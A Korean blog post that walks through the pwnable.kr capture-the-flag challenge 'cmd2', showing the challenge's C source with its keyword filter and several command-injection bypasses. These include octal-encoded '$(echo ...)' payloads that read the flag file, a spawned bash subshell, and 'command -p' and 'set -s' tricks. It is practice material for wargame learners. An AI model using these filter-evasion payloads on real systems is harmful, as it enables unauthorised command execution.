White Security
Cmd2 문제풀이 본문
Daddy bought me a system command shell. but he put some filters to prevent me from playing with it without his permission... but I wanna play anytime I want! ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
Toddler's Bottle 15번 문제
직전 cmd1 문제의 발전형입니다.
#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; }
cmd1의 코드와 유사하지만
PATH 이외의 모든 환경변수를 제거되며
필터링 어구들이 몇 추가 되었습니다.
cmd2@ubuntu:~$ ./cmd2 "expor''t" expor''t export PATH='/no_command_execution_until_you_become_a_hacker' export PWD='/home/cmd2'
따라서 환경변수를 보면
자동으로 생성되는 PWD와
PATH 둘 뿐인 것을
확인할 수 있습니다.
−p Perform the command search using a default value for PATH that is guaranteed to find all of the standard utilities.
이 문제의 해결법 중 하나로는 본쉘의
빌트인 커맨드 command 를 들 수 있습니다.
명령어를 실행하는 명령
command는
-p 옵션을 사용하면
환경변수를 기본 정보로 초기화 합니다.
command -p cat fl* command -p cat fl''ag
따라서 flag 필터링을 우회한
위 방법으로 간단하게 해결할 수 있습니다.
>>> s='/bin/cat flag' >>> print( ''.join( '\\' + str(oct(ord(c))) for c in s ) ) \057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147 cmd2@ubuntu:~$ ./cmd2 '$(echo "\057\0142\0151\0156\057\0143\0141\0164\040\0146\0154\0141\0147")'
이외에도 $( ) 문법으로
8진수로 인코딩된 텍스트를 변환해
명령어를 실행시킬 수 있습니다.
cmd2@ubuntu:~$ ./cmd2 '$(echo "\057")bin$(echo "\057")bash' $(echo "\057")bin$(echo "\057")bash bash-4.3$
같은 방법으로 서브쉘에 접근하는 것 또한 가능합니다.
read a; $a
명령행 인자가 아닌 STDIN을 통해
명령어를 입력받아 실행시키는 방법도 존재합니다.
set -s
같은 방법으로 set -s 명령어가 존재하는데
본쉘의 빌트인 명령어인 set은
-s 옵션을 사용하여 STDIN에서
입력을 받아 명령어를 실행할 수 있습니다.
Bash에서는 해당 옵션이 존재하지 않으므로
오직 Sh에서만 사용가능한 방법입니다.
참조문서
https://mandu-mandu.tistory.com/84
'Wargame Writeups > pwnable.kr' 카테고리의 다른 글
Uaf 문제풀이 (0) | 2019.02.19 |
---|---|
Cmd1 문제풀이 (0) | 2019.02.10 |
Lotto 문제풀이 (0) | 2019.02.10 |
Blackjack 문제풀이 (0) | 2019.02.10 |
Coin1 문제풀이 (0) | 2019.02.09 |
Comments